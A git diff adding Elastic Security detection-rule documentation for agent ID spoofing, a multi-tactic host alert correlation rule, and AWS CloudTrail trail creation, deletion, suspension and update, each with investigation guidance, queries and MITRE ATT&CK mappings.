+- Virtual machine snapshots or clones might result in duplicate agent IDs. Users should track virtual machine activities and exclude events from known snapshot or cloning operations.
+- Load balancing or failover processes in high-availability environments can cause agent ID discrepancies. Review the infrastructure setup and exclude events that align with these processes.
+- Testing environments often simulate various agent activities, leading to mismatches. Clearly separate test environments from production in monitoring systems and exclude test-related events.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected systems to prevent further unauthorized access or data exfiltration. This can be done by disconnecting the system from the network or using network segmentation techniques.
+- Conduct a thorough review of the logs and events associated with the mismatched agent ID to identify any unauthorized changes or activities. Focus on the specific events flagged by the detection rule.
+- Revoke and reissue API keys associated with the compromised agent ID to prevent further misuse. Ensure that new keys are distributed securely and only to authorized personnel.
+- Implement additional monitoring on the affected systems and related network segments to detect any further attempts at agent ID spoofing or other suspicious activities.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat actor has compromised other parts of the network.
+- Review and update access controls and authentication mechanisms to ensure that only legitimate agents can report events. Consider implementing multi-factor authentication for added security.
+- Document the incident, including all actions taken, and conduct a post-incident review to identify any gaps in detection or response. Use this information to enhance future threat detection and response capabilities.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.agent_id_status:agent_id_mismatch and not host.name:agentless-*
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Masquerading
+** ID: T1036
+** Reference URL: https://attack.mitre.org/techniques/T1036/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-multiple-hosts-using-same-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-multiple-hosts-using-same-agent.asciidoc
new file mode 100644
index 0000000000..e6ee154692
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-agent-spoofing-multiple-hosts-using-same-agent.asciidoc
@@ -0,0 +1,107 @@
+[[prebuilt-rule-8-19-11-agent-spoofing-multiple-hosts-using-same-agent]]
+=== Agent Spoofing - Multiple Hosts Using Same Agent
+
+Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 105
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Agent Spoofing - Multiple Hosts Using Same Agent*
+
+
+In network environments, agents are deployed on hosts to monitor and report activities. Adversaries may exploit these agents by hijacking their IDs to inject false data, masking malicious actions. The detection rule identifies anomalies where multiple hosts report using the same agent ID, signaling potential spoofing attempts. By focusing on unique agent ID usage, it helps uncover evasion tactics aimed at concealing unauthorized activities.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific agent ID that is being reported by multiple hosts.
+- Cross-reference the agent ID with the list of known and authorized agents to determine if it has been compromised or misconfigured.
+- Examine the network logs and host activity for each host reporting the same agent ID to identify any unusual or unauthorized activities.
+- Check for any recent changes or updates to the agent software on the affected hosts that could explain the anomaly.
+- Investigate the timeline of events to determine when the agent ID started being used by multiple hosts and correlate this with any known incidents or changes in the network environment.
+- Assess the potential impact of the spoofing attempt on the network's security posture and consider isolating affected hosts if necessary to prevent further malicious activity.
+
+
+*False positive analysis*
+
+
+- Legitimate load balancing or failover scenarios where multiple hosts are configured to use the same agent ID for redundancy can trigger false positives. Users should identify and document these configurations, then create exceptions in the detection rule to exclude these known non-threatening behaviors.
+- Virtualized environments where snapshots or clones of a host are created might result in multiple instances reporting the same agent ID. Users should ensure that each virtual instance is assigned a unique agent ID or adjust the rule to account for these scenarios.
+- Testing or development environments where agents are intentionally duplicated for testing purposes can also lead to false positives. Users should tag these environments appropriately and modify the rule to exclude events from these tags.
+- In cases where agents are temporarily reassigned to different hosts for maintenance or troubleshooting, users should maintain a log of these activities and adjust the detection rule to ignore these temporary changes.
+
+
+*Response and remediation*
+
+
+- Isolate affected hosts immediately to prevent further spread of potentially malicious activities across the network.
+- Revoke and reissue new agent IDs for the affected hosts to ensure that compromised IDs are no longer in use.
+- Conduct a thorough forensic analysis on the isolated hosts to identify any unauthorized changes or malicious software that may have been introduced.
+- Review and update access controls and authentication mechanisms for agent deployment to prevent unauthorized access and hijacking of agent IDs.
+- Monitor network traffic and logs closely for any signs of continued spoofing attempts or related suspicious activities.
+- Escalate the incident to the security operations center (SOC) and relevant stakeholders to ensure awareness and coordinated response efforts.
+- Implement enhanced logging and alerting for agent ID anomalies to improve detection of similar threats in the future.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-endpoint.*  metadata _id
+| where event.agent_id_status is not null 
+| stats Esql.count_distinct_host_ids = count_distinct(host.id), Esql.host_id_values = values(host.id), Esql.user_id_values_user_id = values(user.id) by agent.id
+| where Esql.count_distinct_host_ids >= 2
+| keep Esql.count_distinct_host_ids, Esql.host_id_values, Esql.user_id_values_user_id, agent.id
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Masquerading
+** ID: T1036
+** Reference URL: https://attack.mitre.org/techniques/T1036/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-alerts-in-different-att-ck-tactics-by-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-alerts-in-different-att-ck-tactics-by-host.asciidoc
new file mode 100644
index 0000000000..ea58375d78
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-alerts-in-different-att-ck-tactics-by-host.asciidoc
@@ -0,0 +1,134 @@
+[[prebuilt-rule-8-19-11-alerts-in-different-att-ck-tactics-by-host]]
+=== Alerts in Different ATT&CK Tactics by Host
+
+This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered and where the accumulated risk score is higher than a defined threshold. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 1h
+
+*Searches indices from*: now-8h ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Alerts in Different ATT&CK Tactics by Host*
+
+
+The detection rule identifies hosts with alerts across various attack phases, indicating potential compromise. Adversaries exploit system vulnerabilities, moving through different tactics like execution, persistence, and exfiltration. This rule prioritizes hosts with diverse tactic alerts, aiding analysts in focusing on high-risk threats by correlating alert data to detect complex attack patterns.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts.
+- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary.
+- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+
+- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance.
+- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.
+- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.
+- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.
+- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.
+
+
+*Response and remediation*
+
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from .alerts-security.*  metadata _id
+
+// filter for alerts with populated risk score, excluding threat_match rules, deprecated and some other noisy ones.
+| where kibana.alert.risk_score > 0 and
+        kibana.alert.rule.name IS NOT NULL and
+        host.id is not null and event.dataset is not null and
+        kibana.alert.rule.type != "threat_match" and
+        not kibana.alert.rule.name in ("Agent Spoofing - Mismatched Agent ID") and
+        not kibana.alert.rule.name like "Deprecated - *"
+
+// extract unique counts and values by host.id
+| stats Esql.alerts_count = COUNT(*),
+        Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name),
+        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
+        Esql.event_module_values = VALUES(event.module),
+        Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name),
+        Esql.threat_tactic_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.threat.tactic.id),
+        Esql.threat_tactic_name_values = VALUES(kibana.alert.rule.threat.tactic.name),
+        Esql.kibana_alert_risk_score_sum = sum(kibana.alert.risk_score),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.process_parent_executable_values = VALUES(process.parent.executable),
+        Esql.process_command_line_values = VALUES(process.command_line),
+        Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id
+
+// divide the sum of risk scores by the total number of alerts
+| eval Esql.risk_alerts_count_ratio = Esql.kibana_alert_risk_score_sum/Esql.alerts_count
+
+// filter for risky hosts by risk score and unique count of rules and tactics
+| where Esql.kibana_alert_rule_name_distinct_count >= 5 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.alerts_count <= 500 and Esql.risk_alerts_count_ratio >= 50
+
+// fiels populated in the resulting alert
+| keep host.id,
+       Esql.alerts_count,
+       Esql.kibana_alert_risk_score_sum,
+       Esql.risk_alerts_count_ratio,
+       Esql.kibana_alert_rule_name_distinct_count,
+       Esql.event_module_values,
+       Esql.kibana_alert_rule_name_values,
+       Esql.threat_tactic_name_values,
+       Esql.process_executable_values,
+       Esql.process_parent_executable_values,
+       Esql.process_command_line_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-created.asciidoc
new file mode 100644
index 0000000000..ddaa01e09a
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-created.asciidoc
@@ -0,0 +1,125 @@
+[[prebuilt-rule-8-19-11-aws-cloudtrail-log-created]]
+=== AWS CloudTrail Log Created
+
+Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_CreateTrail.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/create-trail.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS Cloudtrail
+* Use Case: Log Auditing
+* Tactic: Collection
+* Resources: Investigation Guide
+
+*Version*: 211
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS CloudTrail Log Created*
+
+
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Adversaries may create new trails to capture sensitive data or cover their tracks. This detection identifies
+`CreateTrail` calls so responders can verify destination ownership, encryption, and scope before accepting the change.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor and context**
+  - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, `source.ip`.
+  - Confirm a related change request exists (onboarding, architecture change).
+- **Validate trail configuration**
+  - In `aws.cloudtrail.request_parameters`, verify:
+    - `S3BucketName`/`CloudWatchLogsLogGroupArn` belong to your org (no external accounts).
+    - `IsMultiRegionTrail=true` and `IncludeGlobalServiceEvents=true` (as per your standard).
+    - `KmsKeyId` is an approved CMK; log file validation enabled.
+- **Correlate activity**
+  - Look for `PutEventSelectors`, `PutInsightSelectors`, `StartLogging` following creation.
+  - Check for prior enumeration: `DescribeTrails`, `ListBuckets`, `GetEventSelectors`.
+
+
+*False positive analysis*
+
+- **Planned creation**: Onboarding or compliance initiatives often add trails. Validate via ticket and standard template.
+- **Automation**: IaC or control-tower pipelines may create trails on account bootstrap.
+
+
+*Response and remediation*
+
+- **If unauthorized**
+  - Disable or delete the trail; verify and secure the destination S3/CloudWatch resources.
+  - Review the actor’s recent changes and rotate credentials if compromise is suspected.
+- **Hardening**
+  - Restrict `cloudtrail:CreateTrail` to admin roles.
+  - Use AWS Config / Security Hub controls to enforce multi-region, global events, and validated destinations.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "cloudtrail.amazonaws.com" 
+    and event.action: "CreateTrail" 
+    and event.outcome: "success"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Collection
+** ID: TA0009
+** Reference URL: https://attack.mitre.org/tactics/TA0009/
+* Technique:
+** Name: Data from Cloud Storage
+** ID: T1530
+** Reference URL: https://attack.mitre.org/techniques/T1530/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-deleted.asciidoc
new file mode 100644
index 0000000000..325fe3bf23
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-deleted.asciidoc
@@ -0,0 +1,121 @@
+[[prebuilt-rule-8-19-11-aws-cloudtrail-log-deleted]]
+=== AWS CloudTrail Log Deleted
+
+Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_DeleteTrail.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/delete-trail.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS Cloudtrail
+* Use Case: Log Auditing
+* Resources: Investigation Guide
+* Tactic: Defense Evasion
+
+*Version*: 213
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS CloudTrail Log Deleted*
+
+
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the deletion of an AWS log trail using the `DeleteTrail` API. Deleting a trail can eliminate visibility and is a strong indicator of defense evasion or sabotage.
+
+
+*Possible investigation steps*
+
+- **Actor & target**
+  - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`.
+  - Confirm which trail was deleted (name/ARN, multi-region/organization status) from `aws.cloudtrail.request_parameters` or `target.entity.id`.
+- **Blast radius**
+  - Determine whether it was the only trail or if organization/multi-region coverage remains.
+  - Review preceding `StopLogging` or `UpdateTrail` and subsequent high-risk actions (IAM, S3, KMS, EC2 exports).
+- **Data preservation**
+  - Verify S3 destinations and CloudWatch log groups for retained historical logs and file integrity validation.
+
+
+*False positive analysis*
+
+- **Planned deletion**: Validate with tickets and decommissioning plans; ensure replacement/alternate trails exist.
+
+
+*Response and remediation*
+
+- Recreate or re-enable compliant multi-region (or organization) trails immediately.
+- Investigate the actor’s recent activity; rotate creds if compromise is suspected.
+- Validate destination bucket policies, CMK policies, and event selectors for all active trails.
+- Hardening: Restrict `cloudtrail:DeleteTrail` and enforce guardrails via AWS Config/SCPs; alert on future deletions.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail"
+    and event.provider: "cloudtrail.amazonaws.com"
+    and event.action: "DeleteTrail"
+    and event.outcome: "success"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-suspended.asciidoc
new file mode 100644
index 0000000000..1b56f7eaae
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-suspended.asciidoc
@@ -0,0 +1,121 @@
+[[prebuilt-rule-8-19-11-aws-cloudtrail-log-suspended]]
+=== AWS CloudTrail Log Suspended
+
+Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_StopLogging.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/stop-logging.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS Cloudtrail
+* Use Case: Log Auditing
+* Resources: Investigation Guide
+* Tactic: Defense Evasion
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS CloudTrail Log Suspended*
+
+
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the suspension of an AWS log trail using the `StopLogging` API. Attackers can do this to cover their tracks and impact security monitoring that relies on this source.
+
+
+*Possible investigation steps*
+
+- **Actor & scope**
+  - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`.
+  - Determine which trail stopped (`target.entity.id`) and whether it’s multi-region or organization-wide.
+- **Timing and impact**
+  - When did logging stop and resume (if at all)? Are there overlapping detections indicating activity during the gap?
+- **Correlate activity**
+  - Search for sensitive API activity around the stop event (IAM changes, S3 policy changes, EC2 exports, KMS changes).
+  - Check for preceding `UpdateTrail` (e.g., destination change) and subsequent `DeleteTrail`.
+
+
+*False positive analysis*
+
+- **Planned suspensions**: Rare; verify maintenance tickets and ensure post-change validation.
+
+
+*Response and remediation*
+
+- Restart logging (`StartLogging`) immediately.
+- Investigate actor’s recent activity; rotate credentials if suspicious.
+- Validate trail configuration, destination bucket/CMK, and event selectors.
+- Hardening: Limit `cloudtrail:StopLogging` to break-glass roles; alert on any future stops; enforce via AWS Config/SCPs.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "cloudtrail.amazonaws.com" 
+    and event.action: "StopLogging" 
+    and event.outcome: "success"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-updated.asciidoc
new file mode 100644
index 0000000000..c6792e79e2
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudtrail-log-updated.asciidoc
@@ -0,0 +1,133 @@
+[[prebuilt-rule-8-19-11-aws-cloudtrail-log-updated]]
+=== AWS CloudTrail Log Updated
+
+Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_UpdateTrail.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS Cloudtrail
+* Use Case: Log Auditing
+* Resources: Investigation Guide
+* Tactic: Impact
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS CloudTrail Log Updated*
+
+
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Trail modifications can be used by attackers to redirect logs to non-approved buckets, drop regions, or disable valuable selectors. This rule identifies a modification on CloudTrail settings using the `UpdateTrail` API. 
+
+
+*Possible investigation steps*
+
+- **Actor and context**
+  - Check `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`; verify approved change.
+- **Assess the modification**
+  - In `aws.cloudtrail.request_parameters`, note changes to:
+    - `S3BucketName`, `CloudWatchLogsLogGroupArn`, `KmsKeyId`
+    - `IsMultiRegionTrail`, `IncludeGlobalServiceEvents`
+    - Event or insight selectors (management vs data events)
+- **Correlate**
+  - Look for preceding `StopLogging` or following `DeleteTrail`.
+  - Review concurrent IAM policy edits or role changes by the same actor.
+
+
+*False positive analysis*
+
+- **Planned changes**: Baseline drift during region onboarding or encryption rotation.
+- **Automation**: IaC pipelines updating trails as templates evolve.
+
+
+*Response and remediation*
+
+- **If unauthorized**
+  - Revert to baseline; validate destination ownership and KMS policy.
+  - Investigate time ranges where visibility may have been reduced.
+- **Hardening**
+  - Constrain `cloudtrail:UpdateTrail`, require approvals, and monitor with AWS Config rules.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "cloudtrail.amazonaws.com" 
+    and event.action: "UpdateTrail" 
+    and event.outcome: "success"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Data Manipulation
+** ID: T1565
+** Reference URL: https://attack.mitre.org/techniques/T1565/
+* Sub-technique:
+** Name: Stored Data Manipulation
+** ID: T1565.001
+** Reference URL: https://attack.mitre.org/techniques/T1565/001/
+* Tactic:
+** Name: Collection
+** ID: TA0009
+** Reference URL: https://attack.mitre.org/tactics/TA0009/
+* Technique:
+** Name: Data from Cloud Storage
+** ID: T1530
+** Reference URL: https://attack.mitre.org/techniques/T1530/
